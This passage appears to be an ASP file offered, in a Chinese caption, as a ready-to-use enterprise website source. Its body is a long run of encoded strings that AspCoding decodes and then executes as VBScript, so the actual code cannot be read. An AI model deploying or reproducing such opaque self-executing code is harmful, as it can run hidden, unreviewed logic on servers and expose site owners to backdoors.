ment1.asp

一个很好的企业整站的ASP的源码。稍加修改就可直接使用。

AspCoding.EnCode("GhEdHgFcGhHgBGTHTHTHTHBGFcBGGhFcFcTHTHTHTHGhFcFcHgBGTHGhBGTHHgGhBGTHBGFcHgFcFcTHFcTHEdBGGhBGTHoHgIZIUcoHVcHhYbhciGpg3iGhuiYf7elhxhagahxcZdAiAgmhAhah5haeYf1IxdoHCHAgmhFh3IuC6f1GFc3IQg4ilg8g4iAhxIIh6eZe5hliZeVhnCwhZe4glivI2bdgIiWgbCbhvcFC4iXeagAh3iFiZeEg1IxdpGhbFilfafBG2blhmhkhmh4gFh4bad3IYgEizhjh3IPC")
AspCoding.EnCode("lhYf6e5cDgzi4iAh4iXdEhlhnglgyC4ekg4iTH4c1IXbWinhXb2b4cYcoHWd7f6faHag8i4ikf2HAgDijgxG4gxCjezgabAInd6dgdVc1dBbVbhbBHViuhCiiiSdEcCfbidgffGeEcsfCePiWfhgSdPsVriR8OdRmqRsYqFdxbPiifQCCCbiHfoHhbFdkgmhEgZi5cveEgEg7hnc4i7gEhzC8gFc2bbgkekfDfYfkf8encreTh8i4i4H2H5fjfahli4izg8eTH2b8eYfTgFhaGwf8ewijgHi5c5fzi3fFC7e")
AspCoding.EnCode("mh8eTHmf3gjIDcjH8c2bBbhciGGgvixhxixf1GyhAhngZhFcZdvcxIxbohah3haGcfAgECaH5fAglh2b3IFCYfzeFc1IAgliBgjg4ilhxgmhZe8e2b5c8eThDCmhBG1IlingBhEgwc4gEClhYcSdhciGGgPhhitiCeRgtgXdze5hximf8f4eYhmhGhwh5h8g5hlhmClgyg8iFhBbWIWdZh8fjeniEgaiyiah5cdCVhQhOgAILCkezgFi8fmikgxhliwbvbVbVcb9oHWdvfnf2HvI3iyi5f8fkg4izg8exIdC")
AspCoding.EnCode("OePg9hAIwdgCxCwiYCahmhybFfZikhAi4iwdviYfxiZgDfveFcTHjGycoHgIIOgdVcXgwCngAhACwbZdiq7rOQZsQs7rJQcuOq8OSVpqHRA9qrcPfRHJ6Wgrn9XV2bxdFIhchbmgke5f8fzfYfjelizGfhpitiVfjHaHcfzhwiZizgZeaHZhke5fFglhmGmHSGhcgIEi4iDfAi7fyC1GZh4eaf6fngFIhcCHSiVbhbaime3Ixcnhyi5fDejhmhzgFhvcdCpiPg9hlbybPhkezfXgyCYfaH8g5hkhFg3CaHze")
AspCoding.EnCode("4izgZglixgHgFcAbwIVbiGBeVbVc4ekh3CAh8evIYcCRzqVRYr9R6sLqHLQsD9FooRWqsrdrSP9RWRosbtJqtr5pYp3GvbEbVbhbnhag3hEhvCngzgliybfhWguC9hjHzGuiagwiZiah4iwdZhzh4gFgECmGwIHioHVclgmhliEhAhah5c5i3fwC6fYfUHWIVcSioHCHyg5i3ImGmgxCXeFgjhngyCACwdcioCQh9hlbaHfinh3ivc7CZiafAingaHze4ikfneliwfHgEd7dycWIWdSgVbWd5hwCmhEiDfyd")
AspCoding.EnCode("ZdhrjQOQyqQsaRLqfJPrD9FooRVRLqdrDrSV2qusFVn95W1InGUHoHCHZfkeniDejh4ixiDfaHhf9fQhCi7cxIbeZfnhzGnfag3hDe6fmGycFIhcVc7f4iDflC6eah1Gnf3fjgAg4iUHhchbIWhciGyg5i4bxcZfke3hEhkgmhxiACvcegVhQh9hlbzGMfygDCaHFfXgkhEhngwdafZexiZgEgziHgHg6cvbWIhbBepGhbZizemhFCFhmG1IhraRWqxRPraRrseKPr8O79iPsRWqsrIL7omReR6sXo5WYcmH")
AspCoding.EnCode("UHpGhbnhzh3hEhkgmhahACxIegpiQh9hAIwdKhvflevcYgyiniEhFiydvbEbWIgIFCZeEgAi7fxi3IZhZikhlhmhHihcCHUCoHCHvfYg5cxcZfjf4gAikgZezgACzGegVhPgiC6dwdriaCzhahmhaH6i5hviAi3Cvcaf4izgmf8eziTHBG6cmHWIWdIOhcgIYCjgmhFCFhyd2bhrjQqsZsPrjQJQeKQsFVUWoRCrl9qPSVSVvqdrE9ZV5WZdwIHiVbgIYejf5f8fzfZexi8eybcipiqfVfjHaHqhziyizgZe")
AspCoding.EnCode("aHZhke5fFglhmGmHSGhcgIEi4iDfAi7fyC1GZh4eaf6fngFIhcCHSiVbhbaime3Ixcnhyi5fDejhmhzgFhvcdCpiPg9hlbybghae3fygwCaHFfXgkhEhngwdafZexiZgEgziHgHg6cvbWIhbBepGhbZizemhFCFhmG1IhraRWqxRPraRrseKPr8O79iPhRyWOr79feaIkgYCwekhn9Yp4HnGEbVbhbnhzh4gEhjh3CzgEgvcfhVhPgiClbaHfewiXgaiviyb5ixC3hEhAgvIxdSGWIVc7f4iEgEhEiah4bZh")
AspCoding.EnCode("Zivi6f3CUHoHCHbVhcVcGpoHgIEcyIqebguCCeRguhTIgdWdFdwcWCghchhhHfhchbEcgioCIiJf5c3gmfXeyiafkeEiTH1IYdbCBcggTdggUbZd4bwCmh5iDfvCYCEimfvfahEd1IAb1I5clike6gkg5hEiXiygahEd1I6c2b3Iae3f7fmfvfje7iwenhliziTH4HkH4H4bwiZilgnevfahveYfygYhveDfBGYclIYcUcoHVcBHbCCesh1G3fafygZgxiTHnimhahliZelgUcVbVcBH5eAhBbWIhbEcdCpi")
AspCoding.EnCode("Pg9h4bkh5hjemfFgYCmfYfHgwh5h8gYC6fXeEiyg6gli3IzgZijhngGhgeOeQhCikG4bxCah7eFgmikgxhEgFc1IFCmhlilCEije3IfhpitiWeAI0gxCjelhAiXfzfweFhwbvb2bVbgI5h3hACygagxiGh9hngyCFhAHzGZiAg8i5cjh4iACyhzhmgHgDCkeAgliHfhcgIHhWiWhqhthPi5cDfGOAfYfTHxgai3iZfYfzg5c8g4ejglCZeHgHhZIEdFCECxcZdEhlhmh7fxi5hwi4iZdyc5HUc3Ikf4ewiYf")
AspCoding.EnCode("BGAi6fngFCyCZikg3CTIVbWdibFduhfidfCCIC5cEfvfnhACxgGh6I6c6c1GXgjgxhXixiHg2bmCngxiFhng6e4H2H5fYfzeviPe5h3i3ivfkfmfTHDb5cningzeafPhle3f4gxhjemfBG7c3ImiXicfyiafxC6eGh4GDHDH6I6IlcDHUcVbhbpchGGgPiQh5cFfbekhxhZgahFcACyi6g4b4hYhIhkeafagFCTH3HSIUbUbSITdEHGe5cWIgIpcCICIEcuhgg4bveZexhXiveFhEd2blGjIYc3I4b4gyijg")
AspCoding.EnCode("tC7hZiyCFclGTIHh3iaiEe3IXgwCweYhxiTH4HXemhahFhmhAh1IBbHhXCagzgli4b3hagwCzh7fBGYc2IcicifhcidCfh2bTIHRdsRPARB9YQqrZRzbncwbUW0qLrdrDpTOmHOQJQBVDrPr9QsQpROr5VTGyIXCkezgFhTIFdvd4Cai7CBbHhxbsfIiBbhcVcodpcBHwctgqfGehcCHhGpcBHtguCSd5cWIWdCIibodHhQChh5cEfzC4CliwfTHkb7dlI4bxg4iainexgEgGh8ckc3I4h5Cbgyikhag6eTH")
AspCoding.EnCode("3HhfkHgehigefh5cZiafvfmfkfGhYcEiygnewfFh3GHfMRWq1G2HGPfrXVcrEczHPiffSdpGhbhGgHgHGgtgIi2H7ixhnhliveHgkcAb6c2HvemhxhZgyhliEd8cDI4b4hYh3hkeafagFCTH4H2IfhAbeggChfgeYcTI3IEcZIHgEilhvI2bDe7emhEije5hvCmh3GwI2cTI4bGgwctgbCBbhcWdpchGGgxbPitiGeWIgIodhGHhPiqfHf1GVbhbibibibGguhhhXdDgyg3iFhyhHgDdAbkH1GzingaiXiyh")
AspCoding.EnCode("liEdkb8b3I3g5CdeagvijfEiHg1bciAbfhIhcici2HYCafvfmfzgFcYc7fvfZgziEg3GTIIsaoWRbqfReMUOhsw9dsHhxbuhffUcVbVcpcodpcBHPigg2HFeaiZf8eziTHDI7d7d5cxg3CygYhaCFhEdkbkc2HnC5CnijfafzhFCHg2b2Ici6cgebgegfhYcUc3IHhVCVgrithtg1Gzf3fSfWfZexineFhziFcjHDH2H6fxhI94iHgkGlH4bEe3fjgEhZeTH3GEcZIFcEi6fxc4HgCkejh4ekfYf1IwI2cHf")
AspCoding.EnCode("Yc4bahZiaengFcIhyizf4eahmh3IlhliGOvingGh2bZhzhjeDfaIECvfBfngFb4bAIkdAfUeYcTIGgwctgggUcVbgIibhGTGxbPiReBbgdhbhGCIEcEgAhTI5cWIWdibpcodEcregg4b7iaiYeEgxgEdlGAb6c2HwfZexhYhyhFhGhjI8b4bnCZgbgyikhzhlgEd1bhfjGcibgcici4bZiwCxhYhzgHgZd6eygXiwfli1IBbRrLqTWTqPrqrYpdsBHzHsfggUchcCHgHCIpcGgreggXdFeygnhEgaCEdjd6c")
AspCoding.EnCode("7d4byhmhvfXiyhliFcDdkc2HmiZg5fkevijf6eFc4H2IdC7dcibgdCeg2bSd4bFdohoiQfPCQC5czf3fBhCCngahZgliziBGAI6I4bFiaiUgmhEdkIlc4b8g4eaf8fYfTH3GEcXGGhEiFinH4HRfjfjhZixing3GmHYbGe4H3Iah4ezfZeFcQgyiwi3fxiYfXd7eFhSeafYfHg1I5ijfxiFhzbFiweUg4iFb5cjH6G7hBh1IBbEcvdPiggBbVbhbibhGBHyIAC7fHfWIhbibCIFdDf6eUc3IWIVcCICIpcHh")
AspCoding.EnCode("tghh1GFexh3i8eyhEdkbjGlI5cxgmhygXixgACGh8cjd5c5eZgIhyivikelgHgYdgeAbcicfhfge4b5hkhxhYhzgGh2bFCygZgziFh2bTIqsLqGQSP791RtrD95WcrFdxbuhggTIgdiGCIpcgHEctghh5c8hxhnhliziTHjdkHkH2Hxg4iaimfwfEgFcjI7G3InCne4gzhjgxCFCEdYcYdfhAbfhcfcifhYcUcXdEcifoiRgrfre5czf4eG9WfngyC5ClixgEdAI7bXdlhzCSh4iTH6d8d5cFf3fkhlCngGh")
AspCoding.EnCode("1IEc2cBGlgAgwbYcfimgnhZdwI2cBb1I1Gkf3fzfYfBGfiYenh5cFiDfUfafYfGhYc5iagjeDfzb7evfUgmhUG2HkGjc6gG9YcHfEczHQCeeBbpGCHgHCIGgwcDfEiBbVbVchGCIEcFhEiHf1GVbhbCIibpcFdPigg4b8hxhnh8ewfHgDdkHkH3Iyhmhyg5Cwf8eFcjIDI5c3gZghizhjgzh6eBG1bcijGfhgCfhge3IZijgxhZgxiHgZdAhai5Czi8e1IBbMrRrKPcJDVwsgPzqw9HQBHaGuhhhBbVbhbCI")
AspCoding.EnCode("ibibFdtggg5c8hxhmgACyhTH7G6clI5czimhai5CyhFhHgjIjd1G3gXi5fyijgzhEiGh2b1bci6chfgChfhf4HTI5cEcifOfRgQitg1GkgYCUe9gmhzg5CACaCFc6d7b4blhvfI9mhFc8c8d5cFfZijg8fZeFc4HTG2cTHlgECydYcJgzC6g2bxdYbSd2b5ckfYCvC4iTHMfxhDC3IlhEgH9viZeHg1IZhyixiEgzbECygI9mhEI1GjH7HAfSf3GUcTGxbPiIiHfoHCHgHibEcwcEg6eHfVbiGgHCIHh8e7f")
AspCoding.EnCode("Ge5cWIVcpcgHpcBHQCee4bFevfZfEgxgFcAH6cAb4bziZeygXiyhliTHlG8b4b3gYhhixCviagAhGh1bfhjGhfbgdChf2HXgkhxhZgyCTH3GEiygZgziEg1IUcgqxVPqFoFovqdr6o5WdsHhaGtgIiTIVbgIpcCIodHhPibC5cFeygnhliziBGDIlI7d1Gyh4ivfmfveFhGhkb8b4b3gYh3hxCjgagEiGh2b2IdCAbhfdeciegYcUc4bEcVCWhqhugtgXdaeXgG9Wf4izgYhliyhGhlblc5c6fzCBfYfTHkI")
AspCoding.EnCode("8c5cFf3fjgAingBG1IFdXGHgAhAgydZdsCzixCahmh2bmH2cBbYc5cyCZizf4iHgQfveyikfZe5c6fEgGOwC4iHgZdYgzhyCFhmdlhaiBf3CHC5cjH7H7hHO1IBbGgwcPieeTIWIhbpcpcGgxbAClgUcVbgIhGgHBHDf7fGe5cpGhbpcpcgHBHsfff4b7iaimg8ewfGhlGkHlI4bveYfweXixgliFcAHkc2HnCneIhkeafjflgHgZchf6cfhIhcige3IZikhaimfjeGh2blgxhXiaCli1IBbgqyWPqFoFpyV")
AspCoding.EnCode("rsyQYpTVHhxbtgbCHfpGVcCICIpcGgtgIi4bDgxhYe8eyhFc7GAb7d4bvengaiZgyhEgFcjIjd4bmi5CnikejgzhEiFc3G2Ieg7dgeIhcihf4HGe4bHhohWhqhuguh4bvCXgTgiimhahZgACyhTHkGlc3IFiaiSh4iEdjbkb3I8gYCzeFg4iTHYcGgYbFcAhlhwbYccijfHO4HmH5HTIYc5ckf3fkg4iHggeagHO1GAgFhBgwC3CEdYcXCzhahFhxHFixhI94iHC5cjHjc6gSf3GUcBHaGPiffTIgdWdpcCI")
AspCoding.EnCode("FdyIFhFCBbgdhbpcgHFdACEiHf2HVbWdCIibCIEcPiee3IDgxh3ilixgGhDdlI6c4bxgZevfmfwfDfBG8c7G4bmiXicfjfafjfAhFcZcegjGhfIhgehf3I5hzevfnexiHgYcEivfXiwfAC3GBbfezf3fygjgw9HQEcxbuhIiGeWIVcibpcgHTGuhhh3I8hai4ClixgGh8bAbAb1GwfngzCmfwfEgGhkbDIXdXfneniagjgyilgHgYc1begAbgedefhci3GBbXdHhCeVgriuguh3IwiXgHOOh4iyCXi8exgGh")
AspCoding.EnCode("7clc1GAgygbOZeGhDcAH2HEe5hkhEhmhGh1IHhYbEdlgAgxc2bghkgYCxhaf3GycZIUcYc4bxiYCjhmhHghgvC4eygvi2HFiEgThvimhGh2b5iyikfACxH6fvfUg4iGi2HjH8I8iTg3GTIFdaGtghhTIgdWdodpcFdxbFhAhHfhchbpcpcFdPiqf5c8gIfzeaimfjeFcDfagDCXdmiZggCagkhxCAhEd1bcikHdCgCcihfHf4bgdgIibCIpcEcregg3I3hyiviQg7hYCzgFckb3IGeBHZfvfFf1GZizexhXi")
AspCoding.EnCode("xiTH4H5fYfahli4ilg3GHfpqItcQORsqJPsQ5PIroRLrrrVQOrCQXsVP5qTGzHZfyg8gUcBHwcuhhhUcpGgIpcibEczHreQhBbWIhbpcodEctgQh4b4hYhdejfjgxC7fTH2IUbUbSITdEHFGUc3IWIVcCICIpcHhtghh1GvemhaineyhACGh3GjI8c1I4b3IniagwCPh8iYCxiBGjIBb5cEceepgrgXd4ekhaimfkfBG3hmhahFhmhlgBb4bgdgICIpcibHhpgpCqhrfre5cEgH98imhFcZd4hEhEgEgxCje")
AspCoding.EnCode("1I5cFfZijgEh4iGh2b9qOrLrGQSOIQ4H2HzgZiwiYfTH1Igi8I3G3IxCje4gkhygmCjCEdYckC5hDh5h6fniAhai8iACGiEfaizgZfke7iaHveai6fEgxCFCH9xI5Cagwbmdlbxd2bUcoHWdodpcgHZHahnCAg7hFI3cxi5eAg6gEb5chcgIibodCIEcohVgPerfsf2HDfSe8iZeGhYcFi8fXfzfvfFhYc5cAgweBfmhBGlH3IDh4eafDe4iHgYcOrhQLrGQSObP2b1Gkf3fkgngFc4HuiEh4hwiweEg8c2b")
AspCoding.EnCode("UcoHiGibibCIHhwcbCWirgBbHhxbuheeHfWIWdgHgHGgxbuhPgSdoHiGpcGgyIPidgIgiighTIVbiGTGxbciOeQhiCBbpGgIEcyIhhpgRiTIgdhbhcWdEcaGIgVhIi0iGeGgyIWCre9hiiHfoHiGHhYbVbhbAhAgyb3hwCagAg4iVbhbAg3CFh2H6eFiHgxiyiFhzizCahYhWIgImC4ejgvi2HhijgzhFimhIhzhxixinHxdoHCH5HTIhcVcBHIfAg8ibgkemgzCjeZgybbgaCYCFCFi3CFhGhYhXf8cjb7c")
AspCoding.EnCode("8cSd")
AspCoding.Run("VBSCRIPT")
Set AspCoding = Nothing
%>